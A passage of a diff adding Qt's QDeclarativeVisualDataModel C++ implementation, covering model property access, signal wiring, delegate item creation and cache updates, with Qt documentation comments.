+ Q_ASSERT(data->m_model);
+ QDeclarativeVisualDataModelPrivate *model = QDeclarativeVisualDataModelPrivate::get(data->m_model);
+
+ QByteArray propName = name(propId);
+ if ((!model->m_listModelInterface || !model->m_abstractItemModel) && model->m_listAccessor) {
+ if (propName == "modelData") {
+ if (model->m_listAccessor->type() == QDeclarativeListAccessor::Instance) {
+ QObject *object = model->m_listAccessor->at(0).value<QObject*>();
+ return object->metaObject()->property(1).read(object); // the first property after objectName
+ }
+ return model->m_listAccessor->at(data->m_index);
+ } else {
+ // return any property of a single object instance.
+ QObject *object = model->m_listAccessor->at(data->m_index).value<QObject*>();
+ return object->property(propName);
+ }
+ } else if (model->m_listModelInterface) {
+ model->ensureRoles();
+ QHash<QByteArray,int>::const_iterator it = model->m_roleNames.find(propName);
+ if (it != model->m_roleNames.end()) {
+ QVariant value = model->m_listModelInterface->data(data->m_index, *it);
+ return value;
+ } else if (model->m_roles.count() == 1 && propName == "modelData") {
+ //for compatibility with other lists, assign modelData if there is only a single role
+ QVariant value = model->m_listModelInterface->data(data->m_index, model->m_roles.first());
+ return value;
+ }
+ } else if (model->m_abstractItemModel) {
+ model->ensureRoles();
+ QModelIndex index = model->m_abstractItemModel->index(data->m_index, 0, model->m_root);
+ if (propName == "hasModelChildren") {
+ return model->m_abstractItemModel->hasChildren(index);
+ } else {
+ QHash<QByteArray,int>::const_iterator it = model->m_roleNames.find(propName);
+ if (it != model->m_roleNames.end()) {
+ return model->m_abstractItemModel->data(index, *it);
+ } else if (model->m_roles.count() == 1 && propName == "modelData") {
+ //for compatibility with other lists, assign modelData if there is only a single role
+ return model->m_abstractItemModel->data(index, model->m_roles.first());
+ }
+ }
+ }
+ Q_ASSERT(!"Can never be reached");
+ return QVariant();
+}
+
+QDeclarativeVisualDataModelData::QDeclarativeVisualDataModelData(int index,
+ QDeclarativeVisualDataModel *model)
+: m_index(index), m_model(model),
+m_meta(new QDeclarativeVisualDataModelDataMetaObject(this, QDeclarativeVisualDataModelPrivate::get(model)->m_delegateDataType))
+{
+ ensureProperties();
+}
+
+QDeclarativeVisualDataModelData::~QDeclarativeVisualDataModelData()
+{
+}
+
+void QDeclarativeVisualDataModelData::ensureProperties()
+{
+ QDeclarativeVisualDataModelPrivate *modelPriv = QDeclarativeVisualDataModelPrivate::get(m_model);
+ if (modelPriv->m_metaDataCacheable) {
+ if (!modelPriv->m_metaDataCreated)
+ modelPriv->createMetaData();
+ if (modelPriv->m_metaDataCreated)
+ m_meta->setCached(true);
+ }
+}
+
+int QDeclarativeVisualDataModelData::index() const
+{
+ return m_index;
+}
+
+// This is internal only - it should not be set from qml
+void QDeclarativeVisualDataModelData::setIndex(int index)
+{
+ m_index = index;
+ emit indexChanged();
+}
+
+//---------------------------------------------------------------------------
+
+class QDeclarativeVisualDataModelPartsMetaObject : public QDeclarativeOpenMetaObject
+{
+public:
+ QDeclarativeVisualDataModelPartsMetaObject(QObject *parent)
+ : QDeclarativeOpenMetaObject(parent) {}
+
+ virtual void propertyCreated(int, QMetaPropertyBuilder &);
+ virtual QVariant initialValue(int);
+};
+
+class QDeclarativeVisualDataModelParts : public QObject
+{
+Q_OBJECT
+public:
+ QDeclarativeVisualDataModelParts(QDeclarativeVisualDataModel *parent);
+
+private:
+ friend class QDeclarativeVisualDataModelPartsMetaObject;
+ QDeclarativeVisualDataModel *model;
+};
+
+void QDeclarativeVisualDataModelPartsMetaObject::propertyCreated(int, QMetaPropertyBuilder &prop)
+{
+ prop.setWritable(false);
+}
+
+QVariant QDeclarativeVisualDataModelPartsMetaObject::initialValue(int id)
+{
+ QDeclarativeVisualDataModel *m = new QDeclarativeVisualDataModel;
+ m->setParent(object());
+ m->setPart(QString::fromUtf8(name(id)));
+ m->setModel(QVariant::fromValue(static_cast<QDeclarativeVisualDataModelParts *>(object())->model));
+
+ QVariant var = QVariant::fromValue((QObject *)m);
+ return var;
+}
+
+QDeclarativeVisualDataModelParts::QDeclarativeVisualDataModelParts(QDeclarativeVisualDataModel *parent)
+: QObject(parent), model(parent)
+{
+ new QDeclarativeVisualDataModelPartsMetaObject(this);
+}
+
+QDeclarativeVisualDataModelPrivate::QDeclarativeVisualDataModelPrivate(QDeclarativeContext *ctxt)
+: m_listModelInterface(0), m_abstractItemModel(0), m_visualItemModel(0), m_delegate(0)
+, m_context(ctxt), m_modelDataPropId(-1), m_parts(0), m_delegateDataType(0), m_metaDataCreated(false)
+, m_metaDataCacheable(false), m_delegateValidated(false), m_completePending(false), m_listAccessor(0)
+{
+}
+
+QDeclarativeVisualDataModelData *QDeclarativeVisualDataModelPrivate::data(QObject *item)
+{
+ QDeclarativeVisualDataModelData *dataItem =
+ item->findChild<QDeclarativeVisualDataModelData *>();
+ Q_ASSERT(dataItem);
+ return dataItem;
+}
+
+//---------------------------------------------------------------------------
+
+/*!
+ \qmlclass VisualDataModel QDeclarativeVisualDataModel
+ \ingroup qml-working-with-data
+ \brief The VisualDataModel encapsulates a model and delegate
+
+ A VisualDataModel encapsulates a model and the delegate that will
+ be instantiated for items in the model.
+
+ It is usually not necessary to create VisualDataModel elements.
+ However, it can be useful for manipulating and accessing the \l modelIndex
+ when a QAbstractItemModel subclass is used as the
+ model. Also, VisualDataModel is used together with \l Package to
+ provide delegates to multiple views.
+
+ The example below illustrates using a VisualDataModel with a ListView.
+
+ \snippet doc/src/snippets/declarative/visualdatamodel.qml 0
+*/
+
+QDeclarativeVisualDataModel::QDeclarativeVisualDataModel()
+: QDeclarativeVisualModel(*(new QDeclarativeVisualDataModelPrivate(0)))
+{
+}
+
+QDeclarativeVisualDataModel::QDeclarativeVisualDataModel(QDeclarativeContext *ctxt, QObject *parent)
+: QDeclarativeVisualModel(*(new QDeclarativeVisualDataModelPrivate(ctxt)), parent)
+{
+}
+
+QDeclarativeVisualDataModel::~QDeclarativeVisualDataModel()
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (d->m_listAccessor)
+ delete d->m_listAccessor;
+ if (d->m_delegateDataType)
+ d->m_delegateDataType->release();
+}
+
+/*!
+ \qmlproperty model VisualDataModel::model
+ This property holds the model providing data for the VisualDataModel.
+
+ The model provides a set of data that is used to create the items
+ for a view. For large or dynamic datasets the model is usually
+ provided by a C++ model object. The C++ model object must be a \l
+ {QAbstractItemModel} subclass or a simple list.
+
+ Models can also be created directly in QML, using a \l{ListModel} or
+ \l{XmlListModel}.
+
+ \sa {qmlmodels}{Data Models}
+*/
+QVariant QDeclarativeVisualDataModel::model() const
+{
+ Q_D(const QDeclarativeVisualDataModel);
+ return d->m_modelVariant;
+}
+
+void QDeclarativeVisualDataModel::setModel(const QVariant &model)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ delete d->m_listAccessor;
+ d->m_listAccessor = 0;
+ d->m_modelVariant = model;
+ if (d->m_listModelInterface) {
+ // Assume caller has released all items.
+ QObject::disconnect(d->m_listModelInterface, SIGNAL(itemsChanged(int,int,QList<int>)),
+ this, SLOT(_q_itemsChanged(int,int,QList<int>)));
+ QObject::disconnect(d->m_listModelInterface, SIGNAL(itemsInserted(int,int)),
+ this, SLOT(_q_itemsInserted(int,int)));
+ QObject::disconnect(d->m_listModelInterface, SIGNAL(itemsRemoved(int,int)),
+ this, SLOT(_q_itemsRemoved(int,int)));
+ QObject::disconnect(d->m_listModelInterface, SIGNAL(itemsMoved(int,int,int)),
+ this, SLOT(_q_itemsMoved(int,int,int)));
+ d->m_listModelInterface = 0;
+ } else if (d->m_abstractItemModel) {
+ QObject::disconnect(d->m_abstractItemModel, SIGNAL(rowsInserted(QModelIndex,int,int)),
+ this, SLOT(_q_rowsInserted(QModelIndex,int,int)));
+ QObject::disconnect(d->m_abstractItemModel, SIGNAL(rowsRemoved(QModelIndex,int,int)),
+ this, SLOT(_q_rowsRemoved(QModelIndex,int,int)));
+ QObject::disconnect(d->m_abstractItemModel, SIGNAL(dataChanged(QModelIndex,QModelIndex)),
+ this, SLOT(_q_dataChanged(QModelIndex,QModelIndex)));
+ QObject::disconnect(d->m_abstractItemModel, SIGNAL(rowsMoved(QModelIndex,int,int,QModelIndex,int)),
+ this, SLOT(_q_rowsMoved(QModelIndex,int,int,QModelIndex,int)));
+ QObject::disconnect(d->m_abstractItemModel, SIGNAL(modelReset()), this, SLOT(_q_modelReset()));
+ QObject::disconnect(d->m_abstractItemModel, SIGNAL(layoutChanged()), this, SLOT(_q_layoutChanged()));
+ d->m_abstractItemModel = 0;
+ } else if (d->m_visualItemModel) {
+ QObject::disconnect(d->m_visualItemModel, SIGNAL(itemsInserted(int,int)),
+ this, SIGNAL(itemsInserted(int,int)));
+ QObject::disconnect(d->m_visualItemModel, SIGNAL(itemsRemoved(int,int)),
+ this, SIGNAL(itemsRemoved(int,int)));
+ QObject::disconnect(d->m_visualItemModel, SIGNAL(itemsMoved(int,int,int)),
+ this, SIGNAL(itemsMoved(int,int,int)));
+ QObject::disconnect(d->m_visualItemModel, SIGNAL(createdPackage(int,QDeclarativePackage*)),
+ this, SLOT(_q_createdPackage(int,QDeclarativePackage*)));
+ QObject::disconnect(d->m_visualItemModel, SIGNAL(destroyingPackage(QDeclarativePackage*)),
+ this, SLOT(_q_destroyingPackage(QDeclarativePackage*)));
+ d->m_visualItemModel = 0;
+ }
+
+ d->m_roles.clear();
+ d->m_roleNames.clear();
+ if (d->m_delegateDataType)
+ d->m_delegateDataType->release();
+ d->m_metaDataCreated = 0;
+ d->m_metaDataCacheable = false;
+ d->m_delegateDataType = new VDMDelegateDataType(&QDeclarativeVisualDataModelData::staticMetaObject, d->m_context?d->m_context->engine():qmlEngine(this));
+
+ QObject *object = qvariant_cast<QObject *>(model);
+ if (object && (d->m_listModelInterface = qobject_cast<QListModelInterface *>(object))) {
+ QObject::connect(d->m_listModelInterface, SIGNAL(itemsChanged(int,int,QList<int>)),
+ this, SLOT(_q_itemsChanged(int,int,QList<int>)));
+ QObject::connect(d->m_listModelInterface, SIGNAL(itemsInserted(int,int)),
+ this, SLOT(_q_itemsInserted(int,int)));
+ QObject::connect(d->m_listModelInterface, SIGNAL(itemsRemoved(int,int)),
+ this, SLOT(_q_itemsRemoved(int,int)));
+ QObject::connect(d->m_listModelInterface, SIGNAL(itemsMoved(int,int,int)),
+ this, SLOT(_q_itemsMoved(int,int,int)));
+ d->m_metaDataCacheable = true;
+ if (d->m_delegate && d->m_listModelInterface->count())
+ emit itemsInserted(0, d->m_listModelInterface->count());
+ return;
+ } else if (object && (d->m_abstractItemModel = qobject_cast<QAbstractItemModel *>(object))) {
+ QObject::connect(d->m_abstractItemModel, SIGNAL(rowsInserted(QModelIndex,int,int)),
+ this, SLOT(_q_rowsInserted(QModelIndex,int,int)));
+ QObject::connect(d->m_abstractItemModel, SIGNAL(rowsRemoved(QModelIndex,int,int)),
+ this, SLOT(_q_rowsRemoved(QModelIndex,int,int)));
+ QObject::connect(d->m_abstractItemModel, SIGNAL(dataChanged(QModelIndex,QModelIndex)),
+ this, SLOT(_q_dataChanged(QModelIndex,QModelIndex)));
+ QObject::connect(d->m_abstractItemModel, SIGNAL(rowsMoved(QModelIndex,int,int,QModelIndex,int)),
+ this, SLOT(_q_rowsMoved(QModelIndex,int,int,QModelIndex,int)));
+ QObject::connect(d->m_abstractItemModel, SIGNAL(modelReset()), this, SLOT(_q_modelReset()));
+ QObject::connect(d->m_abstractItemModel, SIGNAL(layoutChanged()), this, SLOT(_q_layoutChanged()));
+ d->m_metaDataCacheable = true;
+ if (d->m_abstractItemModel->canFetchMore(d->m_root))
+ d->m_abstractItemModel->fetchMore(d->m_root);
+ return;
+ }
+ if ((d->m_visualItemModel = qvariant_cast<QDeclarativeVisualDataModel *>(model))) {
+ QObject::connect(d->m_visualItemModel, SIGNAL(itemsInserted(int,int)),
+ this, SIGNAL(itemsInserted(int,int)));
+ QObject::connect(d->m_visualItemModel, SIGNAL(itemsRemoved(int,int)),
+ this, SIGNAL(itemsRemoved(int,int)));
+ QObject::connect(d->m_visualItemModel, SIGNAL(itemsMoved(int,int,int)),
+ this, SIGNAL(itemsMoved(int,int,int)));
+ QObject::connect(d->m_visualItemModel, SIGNAL(createdPackage(int,QDeclarativePackage*)),
+ this, SLOT(_q_createdPackage(int,QDeclarativePackage*)));
+ QObject::connect(d->m_visualItemModel, SIGNAL(destroyingPackage(QDeclarativePackage*)),
+ this, SLOT(_q_destroyingPackage(QDeclarativePackage*)));
+ return;
+ }
+ d->m_listAccessor = new QDeclarativeListAccessor;
+ d->m_listAccessor->setList(model, d->m_context?d->m_context->engine():qmlEngine(this));
+ if (d->m_listAccessor->type() != QDeclarativeListAccessor::ListProperty)
+ d->m_metaDataCacheable = true;
+ if (d->m_delegate && d->modelCount()) {
+ emit itemsInserted(0, d->modelCount());
+ emit countChanged();
+ }
+}
+
+/*!
+ \qmlproperty Component VisualDataModel::delegate
+
+ The delegate provides a template defining each item instantiated by a view.
+ The index is exposed as an accessible \c index property. Properties of the
+ model are also available depending upon the type of \l {qmlmodels}{Data Model}.
+*/
+QDeclarativeComponent *QDeclarativeVisualDataModel::delegate() const
+{
+ Q_D(const QDeclarativeVisualDataModel);
+ if (d->m_visualItemModel)
+ return d->m_visualItemModel->delegate();
+ return d->m_delegate;
+}
+
+void QDeclarativeVisualDataModel::setDelegate(QDeclarativeComponent *delegate)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ bool wasValid = d->m_delegate != 0;
+ d->m_delegate = delegate;
+ d->m_delegateValidated = false;
+ if (!wasValid && d->modelCount() && d->m_delegate) {
+ emit itemsInserted(0, d->modelCount());
+ emit countChanged();
+ }
+ if (wasValid && !d->m_delegate && d->modelCount()) {
+ emit itemsRemoved(0, d->modelCount());
+ emit countChanged();
+ }
+}
+
+/*!
+ \qmlproperty QModelIndex VisualDataModel::rootIndex
+
+ QAbstractItemModel provides a hierarchical tree of data, whereas
+ QML only operates on list data. \c rootIndex allows the children of
+ any node in a QAbstractItemModel to be provided by this model.
+
+ This property only affects models of type QAbstractItemModel that
+ are hierarchical (e.g, a tree model).
+
+ For example, here is a simple interactive file system browser.
+ When a directory name is clicked, the view's \c rootIndex is set to the
+ QModelIndex node of the clicked directory, thus updating the view to show
+ the new directory's contents.
+
+ \c main.cpp:
+ \snippet doc/src/snippets/declarative/visualdatamodel_rootindex/main.cpp 0
+
+ \c view.qml:
+ \snippet doc/src/snippets/declarative/visualdatamodel_rootindex/view.qml 0
+
+ If the \l model is a QAbstractItemModel subclass, the delegate can also
+ reference a \c hasModelChildren property (optionally qualified by a
+ \e model. prefix) that indicates whether the delegate's model item has
+ any child nodes.
+
+
+ \sa modelIndex(), parentModelIndex()
+*/
+QVariant QDeclarativeVisualDataModel::rootIndex() const
+{
+ Q_D(const QDeclarativeVisualDataModel);
+ return QVariant::fromValue(d->m_root);
+}
+
+void QDeclarativeVisualDataModel::setRootIndex(const QVariant &root)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ QModelIndex modelIndex = qvariant_cast<QModelIndex>(root);
+ if (d->m_root != modelIndex) {
+ int oldCount = d->modelCount();
+ d->m_root = modelIndex;
+ if (d->m_abstractItemModel && d->m_abstractItemModel->canFetchMore(modelIndex))
+ d->m_abstractItemModel->fetchMore(modelIndex);
+ int newCount = d->modelCount();
+ if (d->m_delegate && oldCount)
+ emit itemsRemoved(0, oldCount);
+ if (d->m_delegate && newCount)
+ emit itemsInserted(0, newCount);
+ if (newCount != oldCount)
+ emit countChanged();
+ emit rootIndexChanged();
+ }
+}
+
+
+/*!
+ \qmlmethod QModelIndex VisualDataModel::modelIndex(int index)
+
+ QAbstractItemModel provides a hierarchical tree of data, whereas
+ QML only operates on list data. This function assists in using
+ tree models in QML.
+
+ Returns a QModelIndex for the specified index.
+ This value can be assigned to rootIndex.
+
+ \sa rootIndex
+*/
+QVariant QDeclarativeVisualDataModel::modelIndex(int idx) const
+{
+ Q_D(const QDeclarativeVisualDataModel);
+ if (d->m_abstractItemModel)
+ return QVariant::fromValue(d->m_abstractItemModel->index(idx, 0, d->m_root));
+ return QVariant::fromValue(QModelIndex());
+}
+
+/*!
+ \qmlmethod QModelIndex VisualDataModel::parentModelIndex()
+
+ QAbstractItemModel provides a hierarchical tree of data, whereas
+ QML only operates on list data. This function assists in using
+ tree models in QML.
+
+ Returns a QModelIndex for the parent of the current rootIndex.
+ This value can be assigned to rootIndex.
+
+ \sa rootIndex
+*/
+QVariant QDeclarativeVisualDataModel::parentModelIndex() const
+{
+ Q_D(const QDeclarativeVisualDataModel);
+ if (d->m_abstractItemModel)
+ return QVariant::fromValue(d->m_abstractItemModel->parent(d->m_root));
+ return QVariant::fromValue(QModelIndex());
+}
+
+QString QDeclarativeVisualDataModel::part() const
+{
+ Q_D(const QDeclarativeVisualDataModel);
+ return d->m_part;
+}
+
+void QDeclarativeVisualDataModel::setPart(const QString &part)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ d->m_part = part;
+}
+
+int QDeclarativeVisualDataModel::count() const
+{
+ Q_D(const QDeclarativeVisualDataModel);
+ if (d->m_visualItemModel)
+ return d->m_visualItemModel->count();
+ if (!d->m_delegate)
+ return 0;
+ return d->modelCount();
+}
+
+QDeclarativeItem *QDeclarativeVisualDataModel::item(int index, bool complete)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (d->m_visualItemModel)
+ return d->m_visualItemModel->item(index, d->m_part.toUtf8(), complete);
+ return item(index, QByteArray(), complete);
+}
+
+/*
+ Returns ReleaseStatus flags.
+*/
+QDeclarativeVisualDataModel::ReleaseFlags QDeclarativeVisualDataModel::release(QDeclarativeItem *item)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (d->m_visualItemModel)
+ return d->m_visualItemModel->release(item);
+
+ ReleaseFlags stat = 0;
+ QObject *obj = item;
+ bool inPackage = false;
+
+ QHash<QObject*,QDeclarativePackage*>::iterator it = d->m_packaged.find(item);
+ if (it != d->m_packaged.end()) {
+ QDeclarativePackage *package = *it;
+ d->m_packaged.erase(it);
+ if (d->m_packaged.contains(item))
+ stat |= Referenced;
+ inPackage = true;
+ obj = package; // fall through and delete
+ }
+
+ if (d->m_cache.releaseItem(obj)) {
+ // Remove any bindings to avoid warnings due to parent change.
+ QObjectPrivate *p = QObjectPrivate::get(obj);
+ Q_ASSERT(p->declarativeData);
+ QDeclarativeData *d = static_cast<QDeclarativeData*>(p->declarativeData);
+ if (d->ownContext && d->context)
+ d->context->clearContext();
+
+ if (inPackage) {
+ emit destroyingPackage(qobject_cast<QDeclarativePackage*>(obj));
+ } else {
+ if (item->scene())
+ item->scene()->removeItem(item);
+ }
+ stat |= Destroyed;
+ obj->deleteLater();
+ } else if (!inPackage) {
+ stat |= Referenced;
+ }
+
+ return stat;
+}
+
+/*!
+ \qmlproperty object VisualDataModel::parts
+
+ The \a parts property selects a VisualDataModel which creates
+ delegates from the part named. This is used in conjunction with
+ the \l Package element.
+
+ For example, the code below selects a model which creates
+ delegates named \e list from a \l Package:
+
+ \code
+ VisualDataModel {
+ id: visualModel
+ delegate: Package {
+ Item { Package.name: "list" }
+ }
+ model: myModel
+ }
+
+ ListView {
+ width: 200; height:200
+ model: visualModel.parts.list
+ }
+ \endcode
+
+ \sa Package
+*/
+QObject *QDeclarativeVisualDataModel::parts()
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (!d->m_parts)
+ d->m_parts = new QDeclarativeVisualDataModelParts(this);
+ return d->m_parts;
+}
+
+QDeclarativeItem *QDeclarativeVisualDataModel::item(int index, const QByteArray &viewId, bool complete)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (d->m_visualItemModel)
+ return d->m_visualItemModel->item(index, viewId, complete);
+
+ if (d->modelCount() <= 0 || !d->m_delegate)
+ return 0;
+ QObject *nobj = d->m_cache.getItem(index);
+ bool needComplete = false;
+ if (!nobj) {
+ QDeclarativeContext *ccontext = d->m_context;
+ if (!ccontext) ccontext = qmlContext(this);
+ QDeclarativeContext *ctxt = new QDeclarativeContext(ccontext);
+ QDeclarativeVisualDataModelData *data = new QDeclarativeVisualDataModelData(index, this);
+ if ((!d->m_listModelInterface || !d->m_abstractItemModel) && d->m_listAccessor
+ && d->m_listAccessor->type() == QDeclarativeListAccessor::ListProperty) {
+ ctxt->setContextObject(d->m_listAccessor->at(index).value<QObject*>());
+ ctxt = new QDeclarativeContext(ctxt, ctxt);
+ }
+ ctxt->setContextProperty(QLatin1String("model"), data);
+ ctxt->setContextObject(data);
+ d->m_completePending = false;
+ nobj = d->m_delegate->beginCreate(ctxt);
+ if (complete) {
+ d->m_delegate->completeCreate();
+ } else {
+ d->m_completePending = true;
+ needComplete = true;
+ }
+ if (nobj) {
+ QDeclarative_setParent_noEvent(ctxt, nobj);
+ QDeclarative_setParent_noEvent(data, nobj);
+ d->m_cache.insertItem(index, nobj);
+ if (QDeclarativePackage *package = qobject_cast<QDeclarativePackage *>(nobj))
+ emit createdPackage(index, package);
+ } else {
+ delete data;
+ delete ctxt;
+ qmlInfo(this, d->m_delegate->errors()) << "Error creating delegate";
+ }
+ }
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(nobj);
+ if (!item) {
+ QDeclarativePackage *package = qobject_cast<QDeclarativePackage *>(nobj);
+ if (package) {
+ QObject *o = package->part(QString::fromUtf8(viewId));
+ item = qobject_cast<QDeclarativeItem *>(o);
+ if (item)
+ d->m_packaged.insertMulti(item, package);
+ }
+ }
+ if (!item) {
+ if (needComplete)
+ d->m_delegate->completeCreate();
+ d->m_cache.releaseItem(nobj);
+ if (!d->m_delegateValidated) {
+ qmlInfo(d->m_delegate) << QDeclarativeVisualDataModel::tr("Delegate component must be Item type.");
+ d->m_delegateValidated = true;
+ }
+ }
+ if (d->modelCount()-1 == index && d->m_abstractItemModel && d->m_abstractItemModel->canFetchMore(d->m_root))
+ d->m_abstractItemModel->fetchMore(d->m_root);
+
+ return item;
+}
+
+bool QDeclarativeVisualDataModel::completePending() const
+{
+ Q_D(const QDeclarativeVisualDataModel);
+ if (d->m_visualItemModel)
+ return d->m_visualItemModel->completePending();
+ return d->m_completePending;
+}
+
+void QDeclarativeVisualDataModel::completeItem()
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (d->m_visualItemModel) {
+ d->m_visualItemModel->completeItem();
+ return;
+ }
+
+ d->m_delegate->completeCreate();
+ d->m_completePending = false;
+}
+
+QString QDeclarativeVisualDataModel::stringValue(int index, const QString &name)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (d->m_visualItemModel)
+ return d->m_visualItemModel->stringValue(index, name);
+
+ if ((!d->m_listModelInterface || !d->m_abstractItemModel) && d->m_listAccessor) {
+ if (QObject *object = d->m_listAccessor->at(index).value<QObject*>())
+ return object->property(name.toUtf8()).toString();
+ }
+
+ if ((!d->m_listModelInterface && !d->m_abstractItemModel) || !d->m_delegate)
+ return QString();
+
+ QString val;
+ QObject *data = 0;
+ bool tempData = false;
+
+ if (QObject *nobj = d->m_cache.item(index))
+ data = d->data(nobj);
+ if (!data) {
+ data = new QDeclarativeVisualDataModelData(index, this);
+ tempData = true;
+ }
+
+ QDeclarativeData *ddata = QDeclarativeData::get(data);
+ if (ddata && ddata->propertyCache) {
+ QDeclarativePropertyCache::Data *prop = ddata->propertyCache->property(name);
+ if (prop) {
+ if (prop->propType == QVariant::String) {
+ void *args[] = { &val, 0 };
+ QMetaObject::metacall(data, QMetaObject::ReadProperty, prop->coreIndex, args);
+ } else if (prop->propType == qMetaTypeId<QVariant>()) {
+ QVariant v;
+ void *args[] = { &v, 0 };
+ QMetaObject::metacall(data, QMetaObject::ReadProperty, prop->coreIndex, args);
+ val = v.toString();
+ }
+ } else {
+ val = data->property(name.toUtf8()).toString();
+ }
+ } else {
+ val = data->property(name.toUtf8()).toString();
+ }
+
+ if (tempData)
+ delete data;
+
+ return val;
+}
+
+int QDeclarativeVisualDataModel::indexOf(QDeclarativeItem *item, QObject *) const
+{
+ QVariant val = QDeclarativeEngine::contextForObject(item)->contextProperty(QLatin1String("index"));
+ return val.toInt();
+ return -1;
+}
+
+void QDeclarativeVisualDataModel::setWatchedRoles(QList<QByteArray> roles)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ d->watchedRoles = roles;
+ d->watchedRoleIds.clear();
+}
+
+void QDeclarativeVisualDataModel::_q_itemsChanged(int index, int count,
+ const QList<int> &roles)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ bool changed = false;
+ if (!d->watchedRoles.isEmpty() && d->watchedRoleIds.isEmpty()) {
+ foreach (QByteArray r, d->watchedRoles) {
+ if (d->m_roleNames.contains(r))
+ d->watchedRoleIds << d->m_roleNames.value(r);
+ }
+ }
+
+ for (QHash<int,QDeclarativeVisualDataModelPrivate::ObjectRef>::ConstIterator iter = d->m_cache.begin();
+ iter != d->m_cache.end(); ++iter) {
+ const int idx = iter.key();
+
+ if (idx >= index && idx < index+count) {
+ QDeclarativeVisualDataModelPrivate::ObjectRef objRef = *iter;
+ QDeclarativeVisualDataModelData *data = d->data(objRef.obj);
+ for (int roleIdx = 0; roleIdx < roles.count(); ++roleIdx) {
+ int role = roles.at(roleIdx);
+ if (!changed && !d->watchedRoleIds.isEmpty() && d->watchedRoleIds.contains(role))
+ changed = true;
+ int propId = data->propForRole(role);
+ if (propId != -1) {
+ if (data->hasValue(propId)) {
+ if (d->m_listModelInterface) {
+ data->setValue(propId, d->m_listModelInterface->data(idx, role));
+ } else if (d->m_abstractItemModel) {
+ QModelIndex index = d->m_abstractItemModel->index(idx, 0, d->m_root);
+ data->setValue(propId, d->m_abstractItemModel->data(index, role));
+ }
+ }
+ } else {
+ QString roleName;
+ if (d->m_listModelInterface)
+ roleName = d->m_listModelInterface->toString(role);
+ else if (d->m_abstractItemModel)
+ roleName = QString::fromUtf8(d->m_abstractItemModel->roleNames().value(role));
+ qmlInfo(this) << "Changing role not present in item: " << roleName;
+ }
+ }
+ if (d->m_roles.count() == 1) {
+ // Handle the modelData role we add if there is just one role.
+ int propId = data->modelDataPropertyId();
+ if (data->hasValue(propId)) {
+ int role = d->m_roles.at(0);
+ if (d->m_listModelInterface) {
+ data->setValue(propId, d->m_listModelInterface->data(idx, role));
+ } else if (d->m_abstractItemModel) {
+ QModelIndex index = d->m_abstractItemModel->index(idx, 0, d->m_root);
+ data->setValue(propId, d->m_abstractItemModel->data(index, role));
+ }
+ }
+ }
+ }
+ }
+ if (changed)
+ emit itemsChanged(index, count);
+}
+
+void QDeclarativeVisualDataModel::_q_itemsInserted(int index, int count)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (!count)
+ return;
+ // XXX - highly inefficient
+ QHash<int,QDeclarativeVisualDataModelPrivate::ObjectRef> items;
+ for (QHash<int,QDeclarativeVisualDataModelPrivate::ObjectRef>::Iterator iter = d->m_cache.begin();
+ iter != d->m_cache.end(); ) {
+
+ if (iter.key() >= index) {
+ QDeclarativeVisualDataModelPrivate::ObjectRef objRef = *iter;
+ int index = iter.key() + count;
+ iter = d->m_cache.erase(iter);
+
+ items.insert(index, objRef);
+
+ QDeclarativeVisualDataModelData *data = d->data(objRef.obj);
+ data->setIndex(index);
+ } else {
+ ++iter;
+ }
+ }
+ d->m_cache.unite(items);
+
+ emit itemsInserted(index, count);
+ emit countChanged();
+}
+
+void QDeclarativeVisualDataModel::_q_itemsRemoved(int index, int count)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (!count)
+ return;
+ // XXX - highly inefficient
+ QHash<int, QDeclarativeVisualDataModelPrivate::ObjectRef> items;
+ for (QHash<int, QDeclarativeVisualDataModelPrivate::ObjectRef>::Iterator iter = d->m_cache.begin();
+ iter != d->m_cache.end(); ) {
+ if (iter.key() >= index && iter.key() < index + count) {
+ QDeclarativeVisualDataModelPrivate::ObjectRef objRef = *iter;
+ iter = d->m_cache.erase(iter);
+ items.insertMulti(-1, objRef); //XXX perhaps better to maintain separately
+ QDeclarativeVisualDataModelData *data = d->data(objRef.obj);
+ data->setIndex(-1);
+ } else if (iter.key() >= index + count) {
+ QDeclarativeVisualDataModelPrivate::ObjectRef objRef = *iter;
+ int index = iter.key() - count;
+ iter = d->m_cache.erase(iter);
+ items.insert(index, objRef);
+ QDeclarativeVisualDataModelData *data = d->data(objRef.obj);
+ data->setIndex(index);
+ } else {
+ ++iter;
+ }
+ }
+
+ d->m_cache.unite(items);
+ emit itemsRemoved(index, count);
+ emit countChanged();
+}
+
+void QDeclarativeVisualDataModel::_q_itemsMoved(int from, int to, int count)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ // XXX - highly inefficient
+ QHash<int,QDeclarativeVisualDataModelPrivate::ObjectRef> items;
+ for (QHash<int,QDeclarativeVisualDataModelPrivate::ObjectRef>::Iterator iter = d->m_cache.begin();
+ iter != d->m_cache.end(); ) {
+
+ if (iter.key() >= from && iter.key() < from + count) {
+ QDeclarativeVisualDataModelPrivate::ObjectRef objRef = *iter;
+ int index = iter.key() - from + to;
+ iter = d->m_cache.erase(iter);
+
+ items.insert(index, objRef);
+
+ QDeclarativeVisualDataModelData *data = d->data(objRef.obj);
+ data->setIndex(index);
+ } else {
+ ++iter;
+ }
+ }
+ for (QHash<int,QDeclarativeVisualDataModelPrivate::ObjectRef>::Iterator iter = d->m_cache.begin();
+ iter != d->m_cache.end(); ) {
+
+ int diff = from > to ? count : -count;
+ if (iter.key() >= qMin(from,to) && iter.key() < qMax(from+count,to+count)) {
+ QDeclarativeVisualDataModelPrivate::ObjectRef objRef = *iter;
+ int index = iter.key() + diff;
+ iter = d->m_cache.erase(iter);
+
+ items.insert(index, objRef);
+
+ QDeclarativeVisualDataModelData *data = d->data(objRef.obj);
+ data->setIndex(index);
+ } else {
+ ++iter;
+ }
+ }
+ d->m_cache.unite(items);
+
